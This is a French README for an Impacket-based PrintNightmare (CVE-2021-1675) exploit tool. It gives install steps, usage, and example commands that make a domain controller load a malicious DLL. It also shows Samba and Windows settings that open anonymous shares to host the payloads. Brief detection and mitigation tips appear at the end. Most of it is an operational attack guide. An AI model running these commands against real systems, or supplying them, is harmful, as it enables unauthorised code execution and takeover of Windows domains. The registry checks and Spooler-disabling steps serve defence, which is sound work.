
Outil d'exploitation basé sur Impacket pour CVE-2021-1675/34527 (PrintNightmare) permettant l'exécution de DLL à distance ou en local sur des systèmes Windows vulnérables, avec des conseils de scan et d'atténuation.
Implémentation Impacket du PoC PrintNightmare créé à l'origine par Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
Testé sur un contrôleur de domaine 2019 entièrement patché
Exécute des DLL malveillantes à distance ou localement

Microsoft a publié un correctif pour atténuer ces attaques, mais si ces valeurs ci-dessous sont présentes sur une machine, celle-ci restera vulnérable
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1
Avant d'exécuter l'exploit, vous devez installer ma version d'Impacket et ensuite vous êtes bon
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
Implémentation de CVE-2021-1675.
arguments de position:
target [[domaine/]utilisateur[:motdepasse]@]<nomCible ou adresse>
share Chemin vers la DLL. Exemple '\\10.10.10.10\share\evil.dll'
arguments optionnels:
-h, --help affiche ce message d'aide et quitte
authentification:
-hashes LMHASH:NTHASH
Hachages NTLM, le format est LMHASH:NTHASH
connexion:
-target-ip ip address
Adresse IP de la machine cible. Si omise, il utilisera ce qui a été spécifié comme cible. Utile lorsque la cible est le nom NetBIOS
et que vous ne pouvez pas le résoudre
-port [destination port]
Port de destination pour se connecter au serveur SMB
Exemple ;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
Le moyen le plus simple d'héberger des payloads est d'utiliser samba et de modifier /etc/samba/smb.conf pour autoriser l'accès anonyme
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
Depuis Windows, c'est également possible
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #Cela écrasera les NullSessionPipes existants
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Redémarrer
Nous pouvons utiliser rpcdump.py d'impacket pour analyser les hôtes potentiellement vulnérables ; s'il renvoie une valeur, il pourrait être vulnérable
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Désactiver le service Spooler
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f